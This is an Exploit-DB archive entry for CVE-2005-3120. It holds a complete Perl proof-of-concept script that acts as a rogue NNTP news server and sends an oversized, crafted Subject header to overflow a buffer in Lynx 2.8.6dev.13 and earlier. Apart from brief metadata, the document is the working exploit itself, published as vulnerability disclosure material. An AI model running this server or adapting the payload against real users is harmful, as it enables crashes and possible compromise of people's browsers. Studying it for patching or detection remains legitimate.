Lynx <= 2.8.6dev.13 - Remote Buffer Overflow Exploit PoC

2005-10-17T00:00:00
ID EDB-ID:1256
Type exploitdb
Reporter Ulf Harnhammar
Modified 2005-10-17T00:00:00

Description

Lynx <= 2.8.6dev.13 Remote Buffer Overflow Exploit (PoC). CVE-2005-3120. Dos exploits for multiple platform

                                        
                                            #!/usr/bin/perl --

# lynx-nntp-server
# by Ulf Harnhammar in 2005
# I hereby place this program in the public domain.

use strict;
use IO::Socket;

$main::port = 119;
$main::timeout = 5;

# *** SUBROUTINES ***

sub mysend($$)
{
my $file = shift;
my $str = shift;

print $file "$str\n";
print "SENT: $str\n";
} # sub mysend

sub myreceive($)
{
my $file = shift;
my $inp;

eval
{
local $SIG{ALRM} = sub { die "alarm\n" };
alarm $main::timeout;
$inp = &lt;$file&gt;;
alarm 0;
};

if ($@ eq "alarm\n") { $inp = ''; print "TIMED OUT\n"; }
$inp =~ tr/\015\012\000//d;
print "RECEIVED: $inp\n";
$inp;
} # sub myreceive

# *** MAIN PROGRAM ***

{
my $server = IO::Socket::INET-&gt;new( Proto =&gt; 'tcp',
LocalPort =&gt; $main::port,
Listen =&gt; SOMAXCONN,
Reuse =&gt; 1);
die "can't set up server!\n" unless $server;


while (my $client = $server-&gt;accept())
{
$client-&gt;autoflush(1);
print 'connection from '.$client-&gt;peerhost."\n";


mysend($client, '200 Internet News');
my $group = 'alt.angst';

while (my $str = myreceive($client))
{
if ($str =~ m/^mode reader$/i)
{
mysend($client, '200 Internet News');
next;
}

if ($str =~ m/^group ([-_.a-zA-Z0-9]+)$/i)
{
$group = $1;
mysend($client, "211 1 1 1 $group");
next;
}

if ($str =~ m/^quit$/i)
{
mysend($client, '205 Goodbye');
last;
}

if ($str =~ m/^head ([0-9]+)$/i)
{
my $evil = '$@UU(JUU' x 21; # Edit the number!
$evil .= 'U' x (504 - length $evil);

my $head = &lt;&lt;HERE;
221 $1 &lt;xyzzy\@usenet.qx&gt;
Path: host!someotherhost!onemorehost
From: &lt;mr_talkative\@usenet.qx&gt;
Subject: $evil
Newsgroup: $group
Message-ID: &lt;xyzzy\@usenet.qx&gt;
.
HERE

$head =~ s|\s+$||s;
mysend($client, $head);
next;
}

mysend($client, '500 Syntax Error');
} # while str=myreceive(client)

close $client;
print "closed\n\n\n";
} # while client=server-&gt;accept()
}

# milw0rm.com [2005-10-17]